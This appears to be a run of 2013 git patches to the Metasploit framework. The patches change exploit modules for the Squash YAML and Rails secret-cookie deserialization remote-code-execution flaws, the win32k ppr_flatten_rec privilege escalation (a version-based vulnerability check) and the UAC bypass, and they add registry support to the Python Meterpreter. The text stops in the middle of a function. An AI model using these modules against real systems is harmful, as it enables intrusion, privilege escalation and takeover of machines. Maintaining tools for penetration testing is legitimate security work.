b/modules/exploits/multi/http/hp_sys_mgmt_exec.rb @@ -38,7 +38,6 @@ def initialize(info={}) { 'SSL' => true }, - 'Platform' => ['linux', 'win'], 'Targets' => [ ['Linux', { @@ -59,8 +58,8 @@ def initialize(info={}) }], ], 'Privileged' => false, - 'DisclosureDate' => "Jun 11 2013", - 'DefaultTarget' => 0)) + 'DisclosureDate' => "Jun 11 2013" + )) register_options( [ From 08c32c250f516d28d615866a5490996af8665178 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Thu, 8 Aug 2013 19:42:14 +0100 Subject: [PATCH 129/454] File versions --- lib/msf/core/post/windows/file_info.rb | 57 +++++++++++++++++++ .../stdapi/railgun/def/def_version.rb | 41 +++++++++++++ .../extensions/stdapi/railgun/railgun.rb | 3 +- .../exploits/windows/local/ppr_flatten_rec.rb | 38 ++++++++++++- 4 files changed, 137 insertions(+), 2 deletions(-) create mode 100644 lib/msf/core/post/windows/file_info.rb create mode 100644 lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_version.rb diff --git a/lib/msf/core/post/windows/file_info.rb b/lib/msf/core/post/windows/file_info.rb new file mode 100644 index 0000000000000..13b62c8751a7c --- /dev/null +++ b/lib/msf/core/post/windows/file_info.rb @@ -0,0 +1,57 @@ +# -*- coding: binary -*- +module Msf +class Post +module Windows + +module FileInfo + + def hiword(num) + (num >> 16) & 0xffff + end + + def loword(num) + num & 0xffff + end + + def file_version(filepath) + file_version_info_size = client.railgun.version.GetFileVersionInfoSizeA( + filepath, + nil + )['return'] + + buffer = session.railgun.kernel32.VirtualAlloc( + nil, + file_version_info_size, + MEM_COMMIT|MEM_RESERVE, + PAGE_READWRITE + )['return'] + + client.railgun.version.GetFileVersionInfoA( + filepath, + 0, + file_version_info_size, + buffer + ) + + result = client.railgun.version.VerQueryValueA(buffer, "\\", 4, 4) + ffi = client.railgun.memread(result['lplpBuffer'], result['puLen']) + + vs_fixed_file_info = ffi.unpack('V13') + + unless vs_fixed_file_info and (vs_fixed_file_info.length == 13) and +(vs_fixed_file_info[0] = 0xfeef04bd) + return nil + end + + major = hiword(vs_fixed_file_info[2]) + minor = loword(vs_fixed_file_info[2]) + build = hiword(vs_fixed_file_info[3]) + revision = loword(vs_fixed_file_info[3]) + branch = revision.to_s[0..1].to_i + + return major, minor, build, revision, branch + end +end # FileInfo +end # Windows +end # Post +end # Msf diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_version.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_version.rb new file mode 100644 index 0000000000000..70baa1a4f9978 --- /dev/null +++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_version.rb @@ -0,0 +1,41 @@ +# -*- coding: binary -*- +module Rex +module Post +module Meterpreter +module Extensions +module Stdapi +module Railgun +module Def + +class Def_version + + def self.create_dll(dll_path = 'version') + dll = DLL.new(dll_path, ApiConstants.manager) + + dll.add_function('GetFileVersionInfoA', 'BOOL',[ + ["PCHAR","lptstrFilename","in"], + ["DWORD","dwHandle","in"], + ["DWORD","dwLen","in"], + # Ignore lpData out as we will pass in our + # own memory address and use memread + ["LPVOID","lpData","in"], + ]) + + dll.add_function('GetFileVersionInfoSizeA', 'DWORD',[ + ["PCHAR","lptstrFilename","in"], + ["PDWORD","lpdwHandle","out"] + ]) + + dll.add_function('VerQueryValueA', 'BOOL',[ + ["LPVOID","pBlock","in"], + ["PCHAR","lpSubBlock","in"], + ["PDWORD","lplpBuffer","out"], + ["PDWORD","puLen","out"] + ]) + + return dll + end + +end + +end; end; end; end; end; end; end diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/railgun.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/railgun.rb index f2e6db29d3c65..22414a0b8fe2e 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/railgun.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/railgun.rb @@ -77,7 +77,8 @@ class Railgun 'netapi32', 'crypt32', 'wlanapi', - 'wldap32' + 'wldap32', + 'version' ].freeze ## diff --git a/modules/exploits/windows/local/ppr_flatten_rec.rb b/modules/exploits/windows/local/ppr_flatten_rec.rb index 34a167b2d47a8..ce0f5ce34377e 100644 --- a/modules/exploits/windows/local/ppr_flatten_rec.rb +++ b/modules/exploits/windows/local/ppr_flatten_rec.rb @@ -10,6 +10,7 @@ require 'msf/core/post/common' require 'msf/core/post/windows/priv' require 'msf/core/post/windows/process' +require 'msf/core/post/windows/file_info' class Metasploit3 < Msf::Exploit::Local Rank = AverageRanking @@ -17,6 +18,7 @@ class Metasploit3 < Msf::Exploit::Local include Msf::Post::File include Msf::Post::Windows::Priv include Msf::Post::Windows::Process + include Msf::Post::Windows::FileInfo def initialize(info={}) super(update_info(info, { @@ -69,8 +71,42 @@ def initialize(info={}) def check os = sysinfo["OS"] if os =~ /windows/i - return Exploit::CheckCode::Vulnerable + file_path = expand_path("%windir%") << "\\system32\\win32k.sys" + major, minor, build, revision, branch = file_version(file_path) + vprint_status("win32k.sys file version: #{major}.#{minor}.#{build}.#{revision}") + + #WinXP x86 - 5.1.2600.6404 + #WinXP/2003 5.2.3790.5174 + #WinVista/2k8 - 6.0.6002.18861 / 6.0.6002.23132 + #Win72k8R2 - 6.1.7601.18176 / 6.1.7601.22348 + #Win8/2012 - 6.2.9200.16627 / 6.2.9200.20732 + case build + when 2600 + return Exploit::CheckCode::Vulnerable if revision < 6404 + when 3790 + return Exploit::CheckCode::Vulnerable if revision < 5174 + when 6002 + if branch == 18 + return Exploit::CheckCode::Vulnerable if revision < 18861 + else + return Exploit::CheckCode::Vulnerable if revision < 23132 + end + when 7601 + if branch == 18 + return Exploit::CheckCode::Vulnerable if revision < 18176 + else + return Exploit::CheckCode::Vulnerable if revision < 22348 + end + when 9200 + if branch == 16 + return Exploit::CheckCode::Vulnerable if revision < 16627 + else + return Exploit::CheckCode::Vulnerable if revision < 20732 + end + end end + + return Exploit::CheckCode::Safe end def exploit From d64352652fae15ae544091b6861ab1fd67697df2 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Thu, 8 Aug 2013 19:58:40 +0100 Subject: [PATCH 130/454] Adds unsupported Vista versions --- modules/exploits/windows/local/ppr_flatten_rec.rb | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/modules/exploits/windows/local/ppr_flatten_rec.rb b/modules/exploits/windows/local/ppr_flatten_rec.rb index ce0f5ce34377e..d1f12af7a1231 100644 --- a/modules/exploits/windows/local/ppr_flatten_rec.rb +++ b/modules/exploits/windows/local/ppr_flatten_rec.rb @@ -85,6 +85,10 @@ def check return Exploit::CheckCode::Vulnerable if revision < 6404 when 3790 return Exploit::CheckCode::Vulnerable if revision < 5174 + when 6000 + return Exploit::CheckCode::Vulnerable + when 6001 + return Exploit::CheckCode::Vulnerable when 6002 if branch == 18 return Exploit::CheckCode::Vulnerable if revision < 18861 From 318280fea7c518ffe47315fa0df1b576c8a30c46 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Thu, 8 Aug 2013 20:02:14 +0100 Subject: [PATCH 131/454] Add 7/2k8 RTM versions --- modules/exploits/windows/local/ppr_flatten_rec.rb | 2 ++ 1 file changed, 2 insertions(+) diff --git a/modules/exploits/windows/local/ppr_flatten_rec.rb b/modules/exploits/windows/local/ppr_flatten_rec.rb index d1f12af7a1231..ef5e63cfc45a0 100644 --- a/modules/exploits/windows/local/ppr_flatten_rec.rb +++ b/modules/exploits/windows/local/ppr_flatten_rec.rb @@ -95,6 +95,8 @@ def check else return Exploit::CheckCode::Vulnerable if revision < 23132 end + when 7600 + return Exploit::CheckCode::Vulnerable when 7601 if branch == 18 return Exploit::CheckCode::Vulnerable if revision < 18176 From 40a61ec6544d15ac3019979c3cda807cf381e469 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 8 Aug 2013 14:47:46 -0500 Subject: [PATCH 132/454] Do minor cleanup --- modules/exploits/unix/webapp/squash_yaml_exec.rb | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) diff --git a/modules/exploits/unix/webapp/squash_yaml_exec.rb b/modules/exploits/unix/webapp/squash_yaml_exec.rb index 654fca38114ea..6419537d735ea 100644 --- a/modules/exploits/unix/webapp/squash_yaml_exec.rb +++ b/modules/exploits/unix/webapp/squash_yaml_exec.rb @@ -22,14 +22,14 @@ def initialize(info = {}) }, 'Author' => [ - 'Charlie Eriksen', # Discovery, initial exploit + 'Charlie Eriksen' # Discovery, initial exploit ], 'License' => MSF_LICENSE, 'References' => [ [ 'URL', 'http://ceriksen.com/2013/08/06/squash-remote-code-execution-vulnerability-advisory/'], [ 'OSVDB', '95992'], - [ 'CVE', '2013-5036'], + [ 'CVE', '2013-5036'] ], 'Platform' => 'ruby', 'Arch' => ARCH_RUBY, @@ -40,8 +40,7 @@ def initialize(info = {}) register_options( [ - Opt::RPORT(80), - OptString.new('TARGETURI', [ true, 'The path to a vulnerable Ruby on Rails application', "/"]), + OptString.new('TARGETURI', [ true, 'The path to a vulnerable Ruby on Rails application', "/"]) ], self.class) end From 567873f3cc429d7cbe61659a250359cfaf16518d Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 8 Aug 2013 15:12:51 -0500 Subject: [PATCH 133/454] Use normalize_uri a little better --- modules/exploits/unix/webapp/squash_yaml_exec.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/unix/webapp/squash_yaml_exec.rb b/modules/exploits/unix/webapp/squash_yaml_exec.rb index 6419537d735ea..b9b08edc0a9ba 100644 --- a/modules/exploits/unix/webapp/squash_yaml_exec.rb +++ b/modules/exploits/unix/webapp/squash_yaml_exec.rb @@ -47,7 +47,7 @@ def initialize(info = {}) def check response = send_request_cgi({ - 'uri' => normalize_uri(target_uri.path, '/api/1.0/deobfuscation'), + 'uri' => normalize_uri(target_uri.path, "api", "1.0", "deobfuscation"), 'method' => 'POST', 'ctype' => 'application/json', }) @@ -68,7 +68,7 @@ def exploit data = "{\"api_key\":\"1\",\"environment\":\"production\",\"build\":\"1\",\"namespace\":\"#{payload}\"}" send_request_cgi({ - 'uri' => normalize_uri(target_uri.path, '/api/1.0/deobfuscation'), + 'uri' => normalize_uri(target_uri.path, "api", "1.0", "deobfuscation"), 'method' => 'POST', 'ctype' => 'application/json', 'data' => data From 4e166f3da44b5fa22fa37d1c1c302e35705ea332 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Thu, 8 Aug 2013 16:20:22 -0500 Subject: [PATCH 134/454] Adding more blank lines between methods For readability --- .../multi/http/rails_secret_deserialization.rb | 16 ++++++++++++++++ 1 file changed, 16 insertions(+) diff --git a/modules/exploits/multi/http/rails_secret_deserialization.rb b/modules/exploits/multi/http/rails_secret_deserialization.rb index 0fe4612a0e8ee..89a7dd290b0e5 100644 --- a/modules/exploits/multi/http/rails_secret_deserialization.rb +++ b/modules/exploits/multi/http/rails_secret_deserialization.rb @@ -9,7 +9,9 @@ #Helper Classes copy/paste from Rails4 class MessageVerifier + class InvalidSignature < StandardError; end + def initialize(secret, options = {}) @secret = secret @digest = options[:digest] || 'SHA1' @@ -20,23 +22,30 @@ def generate(value) data = ::Base64.strict_encode64(@serializer.dump(value)) "#{data}--#{generate_digest(data)}" end + def generate_digest(data) require 'openssl' unless defined?(OpenSSL) OpenSSL::HMAC.hexdigest(OpenSSL::Digest.const_get(@digest).new, @secret, data) end + end class MessageEncryptor + module NullSerializer #:nodoc: + def self.load(value) value end + def self.dump(value) value end + end class InvalidMessage < StandardError; end + OpenSSLCipherError = OpenSSL::Cipher::CipherError def initialize(secret, *signature_key_or_options) @@ -48,6 +57,7 @@ def initialize(secret, *signature_key_or_options) @verifier = MessageVerifier.new(@sign_secret || @secret, :serializer => NullSerializer) # @serializer = options[:serializer] || Marshal end + def encrypt_and_sign(value) @verifier.generate(_encrypt(value)) end @@ -63,18 +73,24 @@ def _encrypt(value) encrypted_data << cipher.final [encrypted_data, iv].map {|v| ::Base64.strict_encode64(v)}.join("--") end + def new_cipher OpenSSL::Cipher::Cipher.new(@cipher) end + end + class KeyGenerator + def initialize(secret, options = {}) @secret = secret @iterations = options[:iterations] || 2**16 end + def generate_key(salt, key_size=64) OpenSSL::PKCS5.pbkdf2_hmac_sha1(@secret, salt, @iterations, key_size) end + end class Metasploit3 < Msf::Exploit::Remote From f4fc0ef3fbc37bafbd77af36595366a3d19950a1 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Thu, 8 Aug 2013 16:22:34 -0500 Subject: [PATCH 135/454] Moved classes into the Metasploit3 space I'm just worried about all those naked classes just hanging around in the top namespace. This shouldn't impact functionality at all. While most modules don't define their own classes (this is usually the job of Msf::Exploit and Rex), I can't think of a reason why you shouldn't (well, aside from reusability). And yet, very rarely do modules do it. It's not unknown, though -- the drda.rb capture module defines a bunch of Constants, and the post/windows/gather/credentials/bulletproof_ftp.rb module defines some more interesting things. So, this should be okay, as long as things are defined in the context of the Metasploit module proper. --- .../http/rails_secret_deserialization.rb | 128 +++++++++--------- 1 file changed, 64 insertions(+), 64 deletions(-) diff --git a/modules/exploits/multi/http/rails_secret_deserialization.rb b/modules/exploits/multi/http/rails_secret_deserialization.rb index 89a7dd290b0e5..ed4e30a62ccda 100644 --- a/modules/exploits/multi/http/rails_secret_deserialization.rb +++ b/modules/exploits/multi/http/rails_secret_deserialization.rb @@ -7,95 +7,95 @@ require 'msf/core' -#Helper Classes copy/paste from Rails4 -class MessageVerifier +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking - class InvalidSignature < StandardError; end + #Helper Classes copy/paste from Rails4 + class MessageVerifier - def initialize(secret, options = {}) - @secret = secret - @digest = options[:digest] || 'SHA1' - @serializer = options[:serializer] || Marshal - end + class InvalidSignature < StandardError; end - def generate(value) - data = ::Base64.strict_encode64(@serializer.dump(value)) - "#{data}--#{generate_digest(data)}" - end + def initialize(secret, options = {}) + @secret = secret + @digest = options[:digest] || 'SHA1' + @serializer = options[:serializer] || Marshal + end + + def generate(value) + data = ::Base64.strict_encode64(@serializer.dump(value)) + "#{data}--#{generate_digest(data)}" + end + + def generate_digest(data) + require 'openssl' unless defined?(OpenSSL) + OpenSSL::HMAC.hexdigest(OpenSSL::Digest.const_get(@digest).new, @secret, data) + end - def generate_digest(data) - require 'openssl' unless defined?(OpenSSL) - OpenSSL::HMAC.hexdigest(OpenSSL::Digest.const_get(@digest).new, @secret, data) end -end + class MessageEncryptor -class MessageEncryptor + module NullSerializer #:nodoc: - module NullSerializer #:nodoc: + def self.load(value) + value + end - def self.load(value) - value - end + def self.dump(value) + value + end - def self.dump(value) - value end - end + class InvalidMessage < StandardError; end - class InvalidMessage < StandardError; end + OpenSSLCipherError = OpenSSL::Cipher::CipherError - OpenSSLCipherError = OpenSSL::Cipher::CipherError + def initialize(secret, *signature_key_or_options) + options = signature_key_or_options.extract_options! + sign_secret = signature_key_or_options.first + @secret = secret + @sign_secret = sign_secret + @cipher = options[:cipher] || 'aes-256-cbc' + @verifier = MessageVerifier.new(@sign_secret || @secret, :serializer => NullSerializer) + # @serializer = options[:serializer] || Marshal + end - def initialize(secret, *signature_key_or_options) - options = signature_key_or_options.extract_options! - sign_secret = signature_key_or_options.first - @secret = secret - @sign_secret = sign_secret - @cipher = options[:cipher] || 'aes-256-cbc' - @verifier = MessageVerifier.new(@sign_secret || @secret, :serializer => NullSerializer) - # @serializer = options[:serializer] || Marshal - end + def encrypt_and_sign(value) + @verifier.generate(_encrypt(value)) + end - def encrypt_and_sign(value) - @verifier.generate(_encrypt(value)) - end + def _encrypt(value) + cipher = new_cipher + cipher.encrypt + cipher.key = @secret + # Rely on OpenSSL for the initialization vector + iv = cipher.random_iv + #encrypted_data = cipher.update(@serializer.dump(value)) + encrypted_data = cipher.update(value) + encrypted_data << cipher.final + [encrypted_data, iv].map {|v| ::Base64.strict_encode64(v)}.join("--") + end - def _encrypt(value) - cipher = new_cipher - cipher.encrypt - cipher.key = @secret - # Rely on OpenSSL for the initialization vector - iv = cipher.random_iv - #encrypted_data = cipher.update(@serializer.dump(value)) - encrypted_data = cipher.update(value) - encrypted_data << cipher.final - [encrypted_data, iv].map {|v| ::Base64.strict_encode64(v)}.join("--") - end + def new_cipher + OpenSSL::Cipher::Cipher.new(@cipher) + end - def new_cipher - OpenSSL::Cipher::Cipher.new(@cipher) end -end + class KeyGenerator -class KeyGenerator + def initialize(secret, options = {}) + @secret = secret + @iterations = options[:iterations] || 2**16 + end - def initialize(secret, options = {}) - @secret = secret - @iterations = options[:iterations] || 2**16 - end + def generate_key(salt, key_size=64) + OpenSSL::PKCS5.pbkdf2_hmac_sha1(@secret, salt, @iterations, key_size) + end - def generate_key(salt, key_size=64) - OpenSSL::PKCS5.pbkdf2_hmac_sha1(@secret, salt, @iterations, key_size) end -end - -class Metasploit3 < Msf::Exploit::Remote - Rank = ExcellentRanking - include Msf::Exploit::CmdStagerTFTP include Msf::Exploit::Remote::HttpClient From 155c121cbb39fbbea6fbfd62f203de674db524a4 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Thu, 8 Aug 2013 16:35:38 -0500 Subject: [PATCH 136/454] More spacing between ends --- modules/exploits/multi/http/rails_secret_deserialization.rb | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/modules/exploits/multi/http/rails_secret_deserialization.rb b/modules/exploits/multi/http/rails_secret_deserialization.rb index ed4e30a62ccda..e0de9523093a1 100644 --- a/modules/exploits/multi/http/rails_secret_deserialization.rb +++ b/modules/exploits/multi/http/rails_secret_deserialization.rb @@ -174,6 +174,7 @@ def check_secret(data, digest) end digest == OpenSSL::HMAC.hexdigest(OpenSSL::Digest::Digest.new(datastore['DIGEST_NAME']), sigkey, data) end + def rails_4 keygen = KeyGenerator.new(datastore['SECRET'],{:iterations => 1000}) enckey = keygen.generate_key(datastore['SALTENC']) @@ -181,6 +182,7 @@ def rails_4 crypter = MessageEncryptor.new(enckey, sigkey) crypter.encrypt_and_sign(build_cookie) end + def rails_3 # Sign it with the secret_token data = build_cookie @@ -188,6 +190,7 @@ def rails_3 marshal_payload = Rex::Text.uri_encode(data) "#{marshal_payload}--#{digest}" end + def build_cookie # Embed the payload with the detached stub @@ -266,4 +269,5 @@ def exploit handler end + end From 7178633140e121f29238e7b054f5dc4927c90777 Mon Sep 17 00:00:00 2001 From: Sagi Shahar Date: Fri, 9 Aug 2013 03:42:02 +0200 Subject: [PATCH 137/454] Fixed architecture detection in bypassuac modules --- modules/exploits/windows/local/bypassuac.rb | 2 +- modules/post/windows/escalate/bypassuac.rb | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/windows/local/bypassuac.rb b/modules/exploits/windows/local/bypassuac.rb index 62717522be2b2..3d781f72ebae0 100644 --- a/modules/exploits/windows/local/bypassuac.rb +++ b/modules/exploits/windows/local/bypassuac.rb @@ -136,7 +136,7 @@ def exploit # decide, x86 or x64 bpexe = nil - if sysinfo["Architecture"] =~ /wow64/i + if sysinfo["Architecture"] =~ /x64/i bpexe = ::File.join(path, "bypassuac-x64.exe") else bpexe = ::File.join(path, "bypassuac-x86.exe") diff --git a/modules/post/windows/escalate/bypassuac.rb b/modules/post/windows/escalate/bypassuac.rb index 921a1cfa61947..b862333c9262b 100644 --- a/modules/post/windows/escalate/bypassuac.rb +++ b/modules/post/windows/escalate/bypassuac.rb @@ -94,7 +94,7 @@ def run # decide, x86 or x64 bpexe = nil - if payload =~ /x64/ or sysinfo["Architecture"] =~ /wow64/i + if sysinfo["Architecture"] =~ /x64/i bpexe = ::File.join(path, "bypassuac-x64.exe") else bpexe = ::File.join(path, "bypassuac-x86.exe") From 376c37d4cc4ae039255ef21172fe2180dbdf843f Mon Sep 17 00:00:00 2001 From: joernchen of Phenoelit Date: Fri, 9 Aug 2013 09:23:50 +0200 Subject: [PATCH 138/454] Two more fixes, Arch and unneeded include. --- modules/exploits/multi/http/rails_secret_deserialization.rb | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/modules/exploits/multi/http/rails_secret_deserialization.rb b/modules/exploits/multi/http/rails_secret_deserialization.rb index e0de9523093a1..3a7dbdadcd72e 100644 --- a/modules/exploits/multi/http/rails_secret_deserialization.rb +++ b/modules/exploits/multi/http/rails_secret_deserialization.rb @@ -96,7 +96,6 @@ def generate_key(salt, key_size=64) end - include Msf::Exploit::CmdStagerTFTP include Msf::Exploit::Remote::HttpClient def initialize(info = {}) @@ -120,8 +119,8 @@ def initialize(info = {}) ['URL', 'http://robertheaton.com/2013/07/22/how-to-hack-a-rails-app-using-its-secret-token/'] ], 'DisclosureDate' => 'Apr 11 2013', - 'Platform' => [ 'ruby'], - 'Arch' => [ 'ruby'], + 'Platform' => 'ruby', + 'Arch' => ARCH_RUBY, 'Privileged' => false, 'Targets' => [ ['Automatic', {} ] ], 'DefaultTarget' => 0)) From 3fb4c2d27c49113b63427afa7010c8c485499682 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Fri, 9 Aug 2013 08:39:05 -0400 Subject: [PATCH 139/454] Add Windows registry manipulation support. --- data/meterpreter/ext_server_stdapi.py | 193 ++++++++++++++++++++++++-- data/meterpreter/meterpreter.py | 7 + 2 files changed, 192 insertions(+), 8 deletions(-) diff --git a/data/meterpreter/ext_server_stdapi.py b/data/meterpreter/ext_server_stdapi.py index f0b49f1145e43..9bee1cd6c34b0 100644 --- a/data/meterpreter/ext_server_stdapi.py +++ b/data/meterpreter/ext_server_stdapi.py @@ -18,6 +18,12 @@ except ImportError: has_pwd = False +try: + import _winreg as winreg + has_winreg = True +except ImportError: + has_winreg = False + class PROCESSENTRY32(ctypes.Structure): _fields_ = [("dwSize", ctypes.c_uint32), ("cntUsage", ctypes.c_uint32), @@ -142,14 +148,15 @@ class SID_AND_ATTRIBUTES(ctypes.Structure): TLV_TYPE_SHUTDOWN_HOW = TLV_META_TYPE_UINT | 1530 # Registry -TLV_TYPE_HKEY = TLV_META_TYPE_UINT | 1000 -TLV_TYPE_ROOT_KEY = TLV_TYPE_HKEY -TLV_TYPE_BASE_KEY = TLV_META_TYPE_STRING | 1001 -TLV_TYPE_PERMISSION = TLV_META_TYPE_UINT | 1002 -TLV_TYPE_KEY_NAME = TLV_META_TYPE_STRING | 1003 -TLV_TYPE_VALUE_NAME = TLV_META_TYPE_STRING | 1010 -TLV_TYPE_VALUE_TYPE = TLV_META_TYPE_UINT | 1011 -TLV_TYPE_VALUE_DATA = TLV_META_TYPE_RAW | 1012 +TLV_TYPE_HKEY = TLV_META_TYPE_UINT | 1000 +TLV_TYPE_ROOT_KEY = TLV_TYPE_HKEY +TLV_TYPE_BASE_KEY = TLV_META_TYPE_STRING | 1001 +TLV_TYPE_PERMISSION = TLV_META_TYPE_UINT | 1002 +TLV_TYPE_KEY_NAME = TLV_META_TYPE_STRING | 1003 +TLV_TYPE_VALUE_NAME = TLV_META_TYPE_STRING | 1010 +TLV_TYPE_VALUE_TYPE = TLV_META_TYPE_UINT | 1011 +TLV_TYPE_VALUE_DATA = TLV_META_TYPE_RAW | 1012 +TLV_TYPE_TARGET_HOST = TLV_META_TYPE_STRING | 1013 # Config TLV_TYPE_COMPUTER_NAME = TLV_META_TYPE_STRING | 1040 @@ -634,3 +641,173 @@ def stdapi_net_socket_tcp_shutdown(request, response): channel = meterpreter.channels[channel_id] channel.close() return ERROR_SUCCESS, response + +@meterpreter.register_function_windll +def stdapi_registry_close_key(request, response): + hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value'] + result = ctypes.windll.advapi32.RegCloseKey(hkey) + return ERROR_SUCCESS, response + +@meterpreter.register_function_windll +def stdapi_registry_create_key(request, response): + root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value'] + base_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)['value'] + permission = packet_get_tlv(request, TLV_TYPE_PERMISSION).get('value', winreg.KEY_ALL_ACCESS) + res_key = ctypes.c_void_p() + if ctypes.windll.advapi32.RegCreateKeyExA(root_key, base_key, 0, None, 0, permission, None, ctypes.byref(res_key), None) == ERROR_SUCCESS: + response += tlv_pack(TLV_TYPE_HKEY, res_key.value) + return ERROR_SUCCESS, response + return ERROR_FAILURE, response + +@meterpreter.register_function_windll +def stdapi_registry_delete_key(request, response): + root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value'] + base_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)['value'] + flags = packet_get_tlv(request, TLV_TYPE_FLAGS)['value'] + if (flags & DELETE_KEY_FLAG_RECURSIVE): + result = ctypes.windll.shlwapi.SHDeleteKeyA(root_key, base_key) + else: + result = ctypes.windll.advapi32.RegDeleteKeyA(root_key, base_key) + return result, response + +@meterpreter.register_function_windll +def stdapi_registry_delete_value(request, response): + root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value'] + value_name = packet_get_tlv(request, TLV_TYPE_VALUE_NAME)['value'] + result = ctypes.windll.advapi32.RegDeleteValueA(root_key, value_name) + return result, response + +@meterpreter.register_function_windll +def stdapi_registry_enum_key(request, response): + ERROR_MORE_DATA = 0xea + ERROR_NO_MORE_ITEMS = 0x0103 + hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value'] + name = (ctypes.c_char * 4096)() + index = 0 + tries = 0 + while True: + result = ctypes.windll.advapi32.RegEnumKeyA(hkey, index, name, ctypes.sizeof(name)) + if result == ERROR_MORE_DATA: + if tries > 3: + break + name = (ctypes.c_char * (ctypes.sizeof(name) * 2)) + tries += 1 + continue + elif result == ERROR_NO_MORE_ITEMS: + result = ERROR_SUCCESS + break + elif result != ERROR_SUCCESS: + break + tries = 0 + response += tlv_pack(TLV_TYPE_KEY_NAME, ctypes.string_at(name)) + index += 1 + return result, response + +@meterpreter.register_function_windll +def stdapi_registry_enum_value(request, response): + ERROR_MORE_DATA = 0xea + ERROR_NO_MORE_ITEMS = 0x0103 + hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value'] + name = (ctypes.c_char * 4096)() + name_sz = ctypes.c_uint32() + index = 0 + tries = 0 + while True: + name_sz.value = ctypes.sizeof(name) + result = ctypes.windll.advapi32.RegEnumValueA(hkey, index, name, ctypes.byref(name_sz), None, None, None, None) + if result == ERROR_MORE_DATA: + if tries > 3: + break + name = (ctypes.c_char * (ctypes.sizeof(name) * 3)) + tries += 1 + continue + elif result == ERROR_NO_MORE_ITEMS: + result = ERROR_SUCCESS + break + elif result != ERROR_SUCCESS: + break + tries = 0 + response += tlv_pack(TLV_TYPE_VALUE_NAME, ctypes.string_at(name)) + index += 1 + return result, response + +@meterpreter.register_function_windll +def stdapi_registry_load_key(request, response): + root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY) + sub_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY) + file_name = packet_get_tlv(request, TLV_TYPE_FILE_PATH) + result = ctypes.windll.advapi32.RegLoadKeyA(root_key, sub_key, file_name) + return result, response + +@meterpreter.register_function_windll +def stdapi_registry_open_key(request, response): + root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value'] + base_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)['value'] + permission = packet_get_tlv(request, TLV_TYPE_PERMISSION).get('value', winreg.KEY_ALL_ACCESS) + handle_id = ctypes.c_void_p() + if ctypes.windll.advapi32.RegOpenKeyExA(root_key, base_key, 0, permission, ctypes.byref(handle_id)) == ERROR_SUCCESS: + response += tlv_pack(TLV_TYPE_HKEY, handle_id.value) + return ERROR_SUCCESS, response + return ERROR_FAILURE, response + +@meterpreter.register_function_windll +def stdapi_registry_open_remote_key(request, response): + target_host = packet_get_tlv(request, TLV_TYPE_TARGET_HOST)['value'] + root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value'] + result_key = ctypes.c_void_p() + result = ctypes.windll.advapi32.RegConnectRegistry(target_host, root_key, ctypes.byref(result_key)) + if (result == ERROR_SUCCESS): + response += tlv_pack(TLV_TYPE_HKEY, result_key.value) + return ERROR_SUCCESS, response + return ERROR_FAILURE, response + +@meterpreter.register_function_windll +def stdapi_registry_query_class(request, response): + hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value'] + value_data = (ctypes.c_char * 4096)() + value_data_sz = ctypes.c_uint32() + value_data_sz.value = ctypes.sizeof(value_data) + result = ctypes.windll.advapi32.RegQueryInfoKeyA(hkey, value_data, ctypes.byref(value_data_sz), None, None, None, None, None, None, None, None, None) + if result == ERROR_SUCCESS: + response += tlv_pack(TLV_TYPE_VALUE_DATA, ctypes.string_at(value_data)) + return ERROR_SUCCESS, response + return ERROR_FAILURE, response + +@meterpreter.register_function_windll +def stdapi_registry_query_value(request, response): + REG_SZ = 1 + REG_DWORD = 4 + hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value'] + value_name = packet_get_tlv(request, TLV_TYPE_VALUE_NAME)['value'] + value_type = ctypes.c_uint32() + value_type.value = 0 + value_data = (ctypes.c_ubyte * 4096)() + value_data_sz = ctypes.c_uint32() + value_data_sz.value = ctypes.sizeof(value_data) + result = ctypes.windll.advapi32.RegQueryValueExA(hkey, value_name, 0, ctypes.byref(value_type), value_data, ctypes.byref(value_data_sz)) + if result == ERROR_SUCCESS: + response += tlv_pack(TLV_TYPE_VALUE_TYPE, value_type.value) + if value_type.value == REG_SZ: + response += tlv_pack(TLV_TYPE_VALUE_DATA, ctypes.string_at(value_data) + '\x00') + elif value_type.value == REG_DWORD: + response += tlv_pack(TLV_TYPE_VALUE_DATA, ''.join(value_data.value)[:4]) + else: + response += tlv_pack(TLV_TYPE_VALUE_DATA, ''.join(value_data.value)[:value_data_sz.value]) + return ERROR_SUCCESS, response + return 